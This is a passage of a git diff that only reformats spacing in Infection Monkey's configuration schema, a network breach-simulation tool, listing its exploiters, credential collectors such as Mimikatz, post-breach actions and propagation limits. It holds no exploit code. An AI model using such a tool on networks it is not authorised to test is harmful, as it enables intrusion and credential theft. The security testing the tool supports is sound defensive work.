"depth":{ - "title":"Scan depth", - "type":"integer", - "minimum":1, - "default":2, - "description":"Amount of hops allowed for the Monkey to spread from the " - "Island server. \n" - + WARNING_SIGN - + " Note that setting this value too high may result in the " - "Monkey propagating too far, " - 'if the "Local network scan" is enabled.', + "depth": { + "title": "Scan depth", + "type": "integer", + "minimum": 1, + "default": 2, + "description": "Amount of hops allowed for the Monkey to spread from the " + "Island server. \n" + + WARNING_SIGN + + " Note that setting this value too high may result in the " + "Monkey propagating too far, " + 'if the "Local network scan" is enabled.', }, - "subnet_scan_list":{ - "title":"Scan target list", - "type":"array", - "uniqueItems":True, - "items":{"type":"string", "format":IP_RANGE}, - "default":[], - "description":"List of targets the Monkey will try to scan. Targets can be " - "IPs, subnets or hosts." - " Examples:\n" - '\tTarget a specific IP: "192.168.0.1"\n' - "\tTarget a subnet using a network range: " - '"192.168.0.5-192.168.0.20"\n' - '\tTarget a subnet using an IP mask: "192.168.0.5/24"\n' - '\tTarget a specific host: "printer.example"', + "subnet_scan_list": { + "title": "Scan target list", + "type": "array", + "uniqueItems": True, + "items": {"type": "string", "format": IP_RANGE}, + "default": [], + "description": "List of targets the Monkey will try to scan. Targets can be " + "IPs, subnets or hosts." + " Examples:\n" + '\tTarget a specific IP: "192.168.0.1"\n' + "\tTarget a subnet using a network range: " + '"192.168.0.5-192.168.0.20"\n' + '\tTarget a subnet using an IP mask: "192.168.0.5/24"\n' + '\tTarget a specific host: "printer.example"', }, }, }, - "network_analysis":{ - "title":"Network Analysis", - "type":"object", - "properties":{ - "inaccessible_subnets":{ - "title":"Network segmentation testing", - "type":"array", - "uniqueItems":True, - "items":{"type":"string", "format":IP_RANGE}, - "default":[], - "description":"Test for network segmentation by providing a list of network " - "segments " - "that should NOT be accessible to each other.\n\n" - "For example, if you configured the following three segments: " - '"10.0.0.0/24", "11.0.0.2/32", and "12.2.3.0/24", ' - "a Monkey running on 10.0.0.5 will try to access machines in " - "the following subnets: " - "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment " - "connections " - "will be shown in the reports. \n\n" - "Network segments can be IPs, subnets or hosts. Examples:\n" - '\tDefine a single-IP segment: "192.168.0.1"\n' - '\tDefine a segment using a network range: ' - '"192.168.0.5-192.168.0.20"\n' - '\tDefine a segment using an subnet IP mask: "192.168.0.5/24"\n' - '\tDefine a single-host segment: "printer.example"', + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { + "inaccessible_subnets": { + "title": "Network segmentation testing", + "type": "array", + "uniqueItems": True, + "items": {"type": "string", "format": IP_RANGE}, + "default": [], + "description": "Test for network segmentation by providing a list of network " + "segments " + "that should NOT be accessible to each other.\n\n" + "For example, if you configured the following three segments: " + '"10.0.0.0/24", "11.0.0.2/32", and "12.2.3.0/24", ' + "a Monkey running on 10.0.0.5 will try to access machines in " + "the following subnets: " + "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment " + "connections " + "will be shown in the reports. \n\n" + "Network segments can be IPs, subnets or hosts. Examples:\n" + '\tDefine a single-IP segment: "192.168.0.1"\n' + "\tDefine a segment using a network range: " + '"192.168.0.5-192.168.0.20"\n' + '\tDefine a segment using an subnet IP mask: "192.168.0.5/24"\n' + '\tDefine a single-host segment: "printer.example"', } }, }, diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index 76119626e21..3900b067525 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -12,22 +12,22 @@ from monkey_island.cc.services.config_schema.monkey import MONKEY SCHEMA = { - "title":"Monkey", - "type":"object", + "title": "Monkey", + "type": "object", # Newly added definitions should also be added to # monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js so that # users will not accidentally chose unsafe options - "definitions":{ - "exploiter_classes":EXPLOITER_CLASSES, - "system_info_collector_classes":SYSTEM_INFO_COLLECTOR_CLASSES, - "post_breach_actions":POST_BREACH_ACTIONS, - "finger_classes":FINGER_CLASSES, + "definitions": { + "exploiter_classes": EXPLOITER_CLASSES, + "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, + "post_breach_actions": POST_BREACH_ACTIONS, + "finger_classes": FINGER_CLASSES, }, - "properties":{ - "basic":BASIC, - "basic_network":BASIC_NETWORK, - "monkey":MONKEY, - "internal":INTERNAL, + "properties": { + "basic": BASIC, + "basic_network": BASIC_NETWORK, + "monkey": MONKEY, + "internal": INTERNAL, }, - "options":{"collapsed":True}, + "options": {"collapsed": True}, } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 4f3ea91a498..c450f8d2afe 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -1,158 +1,158 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN EXPLOITER_CLASSES = { - "title":"Exploit class", - "description":"Click on exploiter to get more information about it." - + WARNING_SIGN - + " Note that using unsafe exploits may cause crashes of the exploited " - "machine/service.", - "type":"string", - "anyOf":[ + "title": "Exploit class", + "description": "Click on exploiter to get more information about it." + + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited " + "machine/service.", + "type": "string", + "anyOf": [ { - "type":"string", - "enum":["SmbExploiter"], - "title":"SMB Exploiter", - "safe":True, - "attack_techniques":["T1110", "T1075", "T1035"], - "info":"Brute forces using credentials provided by user and" - " hashes gathered by mimikatz.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference" - "/exploiters/smbexec/", + "type": "string", + "enum": ["SmbExploiter"], + "title": "SMB Exploiter", + "safe": True, + "attack_techniques": ["T1110", "T1075", "T1035"], + "info": "Brute forces using credentials provided by user and" + " hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/smbexec/", }, { - "type":"string", - "enum":["WmiExploiter"], - "title":"WMI Exploiter", - "safe":True, - "attack_techniques":["T1110", "T1106"], - "info":"Brute forces WMI (Windows Management Instrumentation) " - "using credentials provided by user and hashes gathered by " - "mimikatz.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference" - "/exploiters/wmiexec/", + "type": "string", + "enum": ["WmiExploiter"], + "title": "WMI Exploiter", + "safe": True, + "attack_techniques": ["T1110", "T1106"], + "info": "Brute forces WMI (Windows Management Instrumentation) " + "using credentials provided by user and hashes gathered by " + "mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/wmiexec/", }, { - "type":"string", - "enum":["MSSQLExploiter"], - "title":"MSSQL Exploiter", - "safe":True, - "attack_techniques":["T1110"], - "info":"Tries to brute force into MsSQL server and uses insecure " - "configuration to execute commands on server.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference" - "/exploiters/mssql/", + "type": "string", + "enum": ["MSSQLExploiter"], + "title": "MSSQL Exploiter", + "safe": True, + "attack_techniques": ["T1110"], + "info": "Tries to brute force into MsSQL server and uses insecure " + "configuration to execute commands on server.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/mssql/", }, { - "type":"string", - "enum":["Ms08_067_Exploiter"], - "title":"MS08-067 Exploiter", - "safe":False, - "info":"Unsafe exploiter, that might cause system crash due to the use of buffer " - "overflow. " - "Uses MS08-067 vulnerability.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08" - "-067/", + "type": "string", + "enum": ["Ms08_067_Exploiter"], + "title": "MS08-067 Exploiter", + "safe": False, + "info": "Unsafe exploiter, that might cause system crash due to the use of buffer " + "overflow. " + "Uses MS08-067 vulnerability.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08" + "-067/", }, { - "type":"string", - "enum":["SSHExploiter"], - "title":"SSH Exploiter", - "safe":True, - "attack_techniques":["T1110", "T1145", "T1106"], - "info":"Brute forces using credentials provided by user and SSH keys " - "gathered from systems.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference" - "/exploiters/sshexec/", + "type": "string", + "enum": ["SSHExploiter"], + "title": "SSH Exploiter", + "safe": True, + "attack_techniques": ["T1110", "T1145", "T1106"], + "info": "Brute forces using credentials provided by user and SSH keys " + "gathered from systems.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/sshexec/", }, { - "type":"string", - "enum":["ShellShockExploiter"], - "title":"ShellShock Exploiter", - "safe":True, - "info":"CVE-2014-6271, based on logic from " - "https://github.com/nccgroup/shocker/blob/master/shocker.py .", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/shellshock/", + "type": "string", + "enum": ["ShellShockExploiter"], + "title": "ShellShock Exploiter", + "safe": True, + "info": "CVE-2014-6271, based on logic from " + "https://github.com/nccgroup/shocker/blob/master/shocker.py .", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/shellshock/", }, { - "type":"string", - "enum":["SambaCryExploiter"], - "title":"SambaCry Exploiter", - "safe":True, - "info":"Bruteforces and searches for anonymous shares. Uses Impacket.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/sambacry/", + "type": "string", + "enum": ["SambaCryExploiter"], + "title": "SambaCry Exploiter", + "safe": True, + "info": "Bruteforces and searches for anonymous shares. Uses Impacket.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/sambacry/", }, { - "type":"string", - "enum":["ElasticGroovyExploiter"], - "title":"ElasticGroovy Exploiter", - "safe":True, - "info":"CVE-2015-1427. Logic is based on Metasploit module.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/elasticgroovy/", + "type": "string", + "enum": ["ElasticGroovyExploiter"], + "title": "ElasticGroovy Exploiter", + "safe": True, + "info": "CVE-2015-1427. Logic is based on Metasploit module.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/elasticgroovy/", }, { - "type":"string", - "enum":["Struts2Exploiter"], - "title":"Struts2 Exploiter", - "safe":True, - "info":"Exploits struts2 java web framework. CVE-2017-5638. Logic based on " - "https://www.exploit-db.com/exploits/41570 .", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", + "type": "string", + "enum": ["Struts2Exploiter"], + "title": "Struts2 Exploiter", + "safe": True, + "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " + "https://www.exploit-db.com/exploits/41570 .", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", }, { - "type":"string", - "enum":["WebLogicExploiter"], - "title":"WebLogic Exploiter", - "safe":True, - "info":"Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/weblogic/", + "type": "string", + "enum": ["WebLogicExploiter"], + "title": "WebLogic Exploiter", + "safe": True, + "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/weblogic/", }, { - "type":"string", - "enum":["HadoopExploiter"], - "title":"Hadoop/Yarn Exploiter", - "safe":True, - "info":"Remote code execution on HADOOP server with YARN and default settings. " - "Logic based on " - "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", + "type": "string", + "enum": ["HadoopExploiter"], + "title": "Hadoop/Yarn Exploiter", + "safe": True, + "info": "Remote code execution on HADOOP server with YARN and default settings. " + "Logic based on " + "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", }, { - "type":"string", - "enum":["VSFTPDExploiter"], - "title":"VSFTPD Exploiter", - "safe":True, - "info":"Exploits a malicious backdoor that was added to the VSFTPD download archive. " - "Logic based on Metasploit module.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/", + "type": "string", + "enum": ["VSFTPDExploiter"], + "title": "VSFTPD Exploiter", + "safe": True, + "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. " + "Logic based on Metasploit module.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/", }, { - "type":"string", - "enum":["DrupalExploiter"], - "title":"Drupal Exploiter", - "safe":True, - "info":"Exploits a remote command execution vulnerability in a Drupal server," - "for which certain modules (such as RESTful Web Services) are enabled.", - "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/", + "type": "string", + "enum": ["DrupalExploiter"], + "title": "Drupal Exploiter", + "safe": True, + "info": "Exploits a remote command execution vulnerability in a Drupal server," + "for which certain modules (such as RESTful Web Services) are enabled.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/", }, { - "type":"string", - "enum":["ZerologonExploiter"], - "title":"Zerologon Exploiter", - "safe":False, - "info":"Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " - "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " - "This exploiter changes the password of a Windows server domain controller " - "account and then attempts to restore it. The victim domain controller " - "will be unable to communicate with other domain controllers until the original " - "password has been restored. If Infection Monkey fails to restore the " - "password automatically, you'll have to do it manually. For more " - "information, see the documentation.", - "link":"https://www.guardicore.com/infectionmonkey" - "/docs/reference/exploiters/zerologon/", + "type": "string", + "enum": ["ZerologonExploiter"], + "title": "Zerologon Exploiter", + "safe": False, + "info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " + "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " + "This exploiter changes the password of a Windows server domain controller " + "account and then attempts to restore it. The victim domain controller " + "will be unable to communicate with other domain controllers until the original " + "password has been restored. If Infection Monkey fails to restore the " + "password automatically, you'll have to do it manually. For more " + "information, see the documentation.", + "link": "https://www.guardicore.com/infectionmonkey" + "/docs/reference/exploiters/zerologon/", }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index b821d3f8c83..b95f9f25771 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -1,71 +1,71 @@ FINGER_CLASSES = { - "title":"Fingerprint class", - "description":"Fingerprint modules collect info about external services " - "Infection Monkey scans.", - "type":"string", - "anyOf":[ + "title": "Fingerprint class", + "description": "Fingerprint modules collect info about external services " + "Infection Monkey scans.", + "type": "string", + "anyOf": [ { - "type":"string", - "enum":["SMBFinger"], - "title":"SMBFinger", - "safe":True, - "info":"Figures out if SMB is running and what's the version of it.", - "attack_techniques":["T1210"], + "type": "string", + "enum": ["SMBFinger"], + "title": "SMBFinger", + "safe": True, + "info": "Figures out if SMB is running and what's the version of it.", + "attack_techniques": ["T1210"], }, { - "type":"string", - "enum":["SSHFinger"], - "title":"SSHFinger", - "safe":True, - "info":"Figures out if SSH is running.", - "attack_techniques":["T1210"], + "type": "string", + "enum": ["SSHFinger"], + "title": "SSHFinger", + "safe": True, + "info": "Figures out if SSH is running.", + "attack_techniques": ["T1210"], }, { - "type":"string", - "enum":["PingScanner"], - "title":"PingScanner", - "safe":True, - "info":"Tries to identify if host is alive and which OS it's running by ping scan.", + "type": "string", + "enum": ["PingScanner"], + "title": "PingScanner", + "safe": True, + "info": "Tries to identify if host is alive and which OS it's running by ping scan.", }, { - "type":"string", - "enum":["HTTPFinger"], - "title":"HTTPFinger", - "safe":True, - "info":"Checks if host has HTTP/HTTPS ports open.", + "type": "string", + "enum": ["HTTPFinger"], + "title": "HTTPFinger", + "safe": True, + "info": "Checks if host has HTTP/HTTPS ports open.", }, { - "type":"string", - "enum":["MySQLFinger"], - "title":"MySQLFinger", - "safe":True, - "info":"Checks if MySQL server is running and tries to get it's version.", - "attack_techniques":["T1210"], + "type": "string", + "enum": ["MySQLFinger"], + "title": "MySQLFinger", + "safe": True, + "info": "Checks if MySQL server is running and tries to get it's version.", + "attack_techniques": ["T1210"], }, { - "type":"string", - "enum":["MSSQLFinger"], - "title":"MSSQLFinger", - "safe":True, - "info":"Checks if Microsoft SQL service is running and tries to gather " - "information about it.", - "attack_techniques":["T1210"], + "type": "string", + "enum": ["MSSQLFinger"], + "title": "MSSQLFinger", + "safe": True, + "info": "Checks if Microsoft SQL service is running and tries to gather " + "information about it.", + "attack_techniques": ["T1210"], }, { - "type":"string", - "enum":["ElasticFinger"], - "title":"ElasticFinger", - "safe":True, - "info":"Checks if ElasticSearch is running and attempts to find it's " "version.", - "attack_techniques":["T1210"], + "type": "string", + "enum": ["ElasticFinger"], + "title": "ElasticFinger", + "safe": True, + "info": "Checks if ElasticSearch is running and attempts to find it's " "version.", + "attack_techniques": ["T1210"], }, { - "type":"string", - "enum":["PostgreSQLFinger"], - "title":"PostgreSQLFinger", - "safe":True, - "info":"Checks if PostgreSQL service is running and if its communication is encrypted.", - "attack_techniques":["T1210"], + "type": "string", + "enum": ["PostgreSQLFinger"], + "title": "PostgreSQLFinger", + "safe": True, + "info": "Checks if PostgreSQL service is running and if its communication is encrypted.", + "attack_techniques": ["T1210"], }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 0a5db562c31..2c1104bcbe3 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -1,108 +1,108 @@ POST_BREACH_ACTIONS = { - "title":"Post breach actions", - "description":"Runs scripts/commands on infected machines. These actions safely simulate what " - "an adversary" - "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", - "type":"string", - "anyOf":[ + "title": "Post breach actions", + "description": "Runs scripts/commands on infected machines. These actions safely simulate what " + "an adversary" + "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", + "type": "string", + "anyOf": [ { - "type":"string", - "enum":["BackdoorUser"], - "title":"Back door user", - "safe":True, - "info":"Attempts to create a new user on the system and delete it " "afterwards.", - "attack_techniques":["T1136"], + "type": "string", + "enum": ["BackdoorUser"], + "title": "Back door user", + "safe": True, + "info": "Attempts to create a new user on the system and delete it " "afterwards.", + "attack_techniques": ["T1136"], }, { - "type":"string", - "enum":["CommunicateAsNewUser"], - "title":"Communicate as new user", - "safe":True, - "info":"Attempts to create a new user, create HTTPS requests as that " - "user and delete the user " - "afterwards.", - "attack_techniques":["T1136"], + "type": "string", + "enum": ["CommunicateAsNewUser"], + "title": "Communicate as new user", + "safe": True, + "info": "Attempts to create a new user, create HTTPS requests as that " + "user and delete the user " + "afterwards.", + "attack_techniques": ["T1136"], }, { - "type":"string", - "enum":["ModifyShellStartupFiles"], - "title":"Modify shell startup files", - "safe":True, - "info":"Attempts to modify shell startup files, like ~/.profile, " - "~/.bashrc, ~/.bash_profile " - "in linux, and profile.ps1 in windows. Reverts modifications done" - " afterwards.", - "attack_techniques":["T1156", "T1504"], + "type": "string", + "enum": ["ModifyShellStartupFiles"], + "title": "Modify shell startup files", + "safe": True, + "info": "Attempts to modify shell startup files, like ~/.profile, " + "~/.bashrc, ~/.bash_profile " + "in linux, and profile.ps1 in windows. Reverts modifications done" + " afterwards.", + "attack_techniques": ["T1156", "T1504"], }, { - "type":"string", - "enum":["HiddenFiles"], - "title":"Hidden files and directories", - "safe":True, - "info":"Attempts to create a hidden file and remove it afterward.", - "attack_techniques":["T1158"], + "type": "string", + "enum": ["HiddenFiles"], + "title": "Hidden files and directories", + "safe": True, + "info": "Attempts to create a hidden file and remove it afterward.", + "attack_techniques": ["T1158"], }, { - "type":"string", - "enum":["TrapCommand"], - "title":"Trap", - "safe":True, - "info":"On Linux systems, attempts to trap an interrupt signal in order " - "to execute a command " - "upon receiving that signal. Removes the trap afterwards.", - "attack_techniques":["T1154"], + "type": "string", + "enum": ["TrapCommand"], + "title": "Trap", + "safe": True, + "info": "On Linux systems, attempts to trap an interrupt signal in order " + "to execute a command " + "upon receiving that signal. Removes the trap afterwards.", + "attack_techniques": ["T1154"], }, { - "type":"string", - "enum":["ChangeSetuidSetgid"], - "title":"Setuid and Setgid", - "safe":True, - "info":"On Linux systems, attempts to set the setuid and setgid bits of " - "a new file. " - "Removes the file afterwards.", - "attack_techniques":["T1166"], + "type": "string", + "enum": ["ChangeSetuidSetgid"], + "title": "Setuid and Setgid", + "safe": True, + "info": "On Linux systems, attempts to set the setuid and setgid bits of " + "a new file. " + "Removes the file afterwards.", + "attack_techniques": ["T1166"], }, { - "type":"string", - "enum":["ScheduleJobs"], - "title":"Job scheduling", - "safe":True, - "info":"Attempts to create a scheduled job on the system and remove it.", - "attack_techniques":["T1168", "T1053"], + "type": "string", + "enum": ["ScheduleJobs"], + "title": "Job scheduling", + "safe": True, + "info": "Attempts to create a scheduled job on the system and remove it.", + "attack_techniques": ["T1168", "T1053"], }, { - "type":"string", - "enum":["Timestomping"], - "title":"Timestomping", - "safe":True, - "info":"Creates a temporary file and attempts to modify its time " - "attributes. Removes the file afterwards.", - "attack_techniques":["T1099"], + "type": "string", + "enum": ["Timestomping"], + "title": "Timestomping", + "safe": True, + "info": "Creates a temporary file and attempts to modify its time " + "attributes. Removes the file afterwards.", + "attack_techniques": ["T1099"], }, { - "type":"string", - "enum":["SignedScriptProxyExecution"], - "title":"Signed script proxy execution", - "safe":False, - "info":"On Windows systems, attempts to execute an arbitrary file " - "with the help of a pre-existing signed script.", - "attack_techniques":["T1216"], + "type": "string", + "enum": ["SignedScriptProxyExecution"], + "title": "Signed script proxy execution", + "safe": False, + "info": "On Windows systems, attempts to execute an arbitrary file " + "with the help of a pre-existing signed script.", + "attack_techniques": ["T1216"], }, { - "type":"string", - "enum":["AccountDiscovery"], - "title":"Account Discovery", - "safe":True, - "info":"Attempts to get a listing of user accounts on the system.", - "attack_techniques":["T1087"], + "type": "string", + "enum": ["AccountDiscovery"], + "title": "Account Discovery", + "safe": True, + "info": "Attempts to get a listing of user accounts on the system.", + "attack_techniques": ["T1087"], }, { - "type":"string", - "enum":["ClearCommandHistory"], - "title":"Clear command history", - "safe":False, - "info":"Attempts to clear the command history.", - "attack_techniques":["T1146"], + "type": "string", + "enum": ["ClearCommandHistory"], + "title": "Clear command history", + "safe": False, + "info": "Attempts to clear the command history.", + "attack_techniques": ["T1146"], }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index b2568f98cb9..9a4a39050eb 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -8,58 +8,58 @@ ) SYSTEM_INFO_COLLECTOR_CLASSES = { - "title":"System Information Collectors", - "description":"Click on a system info collector to find out what it collects.", - "type":"string", - "anyOf":[ + "title": "System Information Collectors", + "description": "Click on a system info collector to find out what it collects.", + "type": "string", + "anyOf": [ { - "type":"string", - "enum":[ENVIRONMENT_COLLECTOR], - "title":"Environment collector", - "safe":True, - "info":"Collects information about machine's environment (on " "premise/GCP/AWS).", - "attack_techniques":["T1082"], + "type": "string", + "enum": [ENVIRONMENT_COLLECTOR], + "title": "Environment collector", + "safe": True, + "info": "Collects information about machine's environment (on " "premise/GCP/AWS).", + "attack_techniques": ["T1082"], }, { - "type":"string", - "enum":[MIMIKATZ_COLLECTOR], - "title":"Mimikatz collector", - "safe":True, - "info":"Collects credentials from Windows credential manager.", - "attack_techniques":["T1003", "T1005"], + "type": "string", + "enum": [MIMIKATZ_COLLECTOR], + "title": "Mimikatz collector", + "safe": True, + "info": "Collects credentials from Windows credential manager.", + "attack_techniques": ["T1003", "T1005"], }, { - "type":"string", - "enum":[AWS_COLLECTOR], - "title":"AWS collector", - "safe":True, - "info":"If on AWS, collects more information about the AWS instance " - "currently running on.", - "attack_techniques":["T1082"], + "type": "string", + "enum": [AWS_COLLECTOR], + "title": "AWS collector", + "safe": True, + "info": "If on AWS, collects more information about the AWS instance " + "currently running on.", + "attack_techniques": ["T1082"], }, { - "type":"string", - "enum":[HOSTNAME_COLLECTOR], - "title":"Hostname collector", - "safe":True, - "info":"Collects machine's hostname.", - "attack_techniques":["T1082", "T1016"], + "type": "string", + "enum": [HOSTNAME_COLLECTOR], + "title": "Hostname collector", + "safe": True, + "info": "Collects machine's hostname.", + "attack_techniques": ["T1082", "T1016"], }, { - "type":"string", - "enum":[PROCESS_LIST_COLLECTOR], - "title":"Process list collector", - "safe":True, - "info":"Collects a list of running processes on the machine.", - "attack_techniques":["T1082"], + "type": "string", + "enum": [PROCESS_LIST_COLLECTOR], + "title": "Process list collector", + "safe": True, + "info": "Collects a list of running processes on the machine.", + "attack_techniques": ["T1082"], }, { - "type":"string", - "enum":[AZURE_CRED_COLLECTOR], - "title":"Azure credential collector", - "safe":True, - "info":"Collects password credentials from Azure VMs", - "attack_techniques":["T1003", "T1005"], + "type": "string", + "enum": [AZURE_CRED_COLLECTOR], + "title": "Azure credential collector", + "safe": True, + "info": "Collects password credentials from Azure VMs", + "attack_techniques": ["T1003", "T1005"], }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 0c0f878ae11..516771394ca 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -1,154 +1,154 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN INTERNAL = { - "title":"Internal", - "type":"object", - "properties":{ - "general":{ - "title":"General", - "type":"object", - "properties":{ - "singleton_mutex_name":{ - "title":"Singleton mutex name", - "type":"string", - "default":"{2384ec59-0df8-4ab9-918c-843740924a28}", - "description":"The name of the mutex used to determine whether the monkey is " - "already running", - }, - "keep_tunnel_open_time":{ - "title":"Keep tunnel open time", - "type":"integer", - "default":60, - "description":"Time to keep tunnel open before going down after last exploit " - "(in seconds)", - }, - "monkey_dir_name":{ - "title":"Monkey's directory name", - "type":"string", - "default":r"monkey_dir", - "description":"Directory name for the directory which will contain all of the" - " monkey files", - }, - "started_on_island":{ - "title":"Started on island", - "type":"boolean", - "default":False, - "description":"Was exploitation started from island" - "(did monkey with max depth ran on island)", + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": "The name of the mutex used to determine whether the monkey is " + "already running", + }, + "keep_tunnel_open_time": { + "title": "Keep tunnel open time", + "type": "integer", + "default": 60, + "description": "Time to keep tunnel open before going down after last exploit " + "(in seconds)", + }, + "monkey_dir_name": { + "title": "Monkey's directory name", + "type": "string", + "default": r"monkey_dir", + "description": "Directory name for the directory which will contain all of the" + " monkey files", + }, + "started_on_island": { + "title": "Started on island", + "type": "boolean", + "default": False, + "description": "Was exploitation started from island" + "(did monkey with max depth ran on island)", }, }, }, - "monkey":{ - "title":"Monkey", - "type":"object", - "properties":{ - "victims_max_find":{ - "title":"Max victims to find", - "type":"integer", - "default":100, - "description":"Determines the maximum number of machines the monkey is " - "allowed to scan", - }, - "victims_max_exploit":{ - "title":"Max victims to exploit", - "type":"integer", - "default":100, - "description":"Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " - + WARNING_SIGN - + " Note that setting this value too high may result in the " - "monkey propagating to " - "a high number of machines", - }, - "internet_services":{ - "title":"Internet services", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":["monkey.guardicore.com", "www.google.com"], - "description":"List of internet services to try and communicate with to " - "determine internet" - " connectivity (use either ip or domain)", - }, - "self_delete_in_cleanup":{ - "title":"Self delete on cleanup", - "type":"boolean", - "default":True, - "description":"Should the monkey delete its executable when going down", - }, - "use_file_logging":{ - "title":"Use file logging", - "type":"boolean", - "default":True, - "description":"Should the monkey dump to a log file", - }, - "serialize_config":{ - "title":"Serialize config", - "type":"boolean", - "default":False, - "description":"Should the monkey dump its config on startup", - }, - "alive":{ - "title":"Alive", - "type":"boolean", - "default":True, - "description":"Is the monkey alive", - }, - "aws_keys":{ - "type":"object", - "properties":{ - "aws_access_key_id":{"type":"string", "default":""}, - "aws_secret_access_key":{"type":"string", "default":""}, - "aws_session_token":{"type":"string", "default":""}, + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 100, + "description": "Determines the maximum number of machines the monkey is " + "allowed to scan", + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 100, + "description": "Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + + WARNING_SIGN + + " Note that setting this value too high may result in the " + "monkey propagating to " + "a high number of machines", + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": ["monkey.guardicore.com", "www.google.com"], + "description": "List of internet services to try and communicate with to " + "determine internet" + " connectivity (use either ip or domain)", + }, + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": True, + "description": "Should the monkey delete its executable when going down", + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file", + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup", + }, + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive", + }, + "aws_keys": { + "type": "object", + 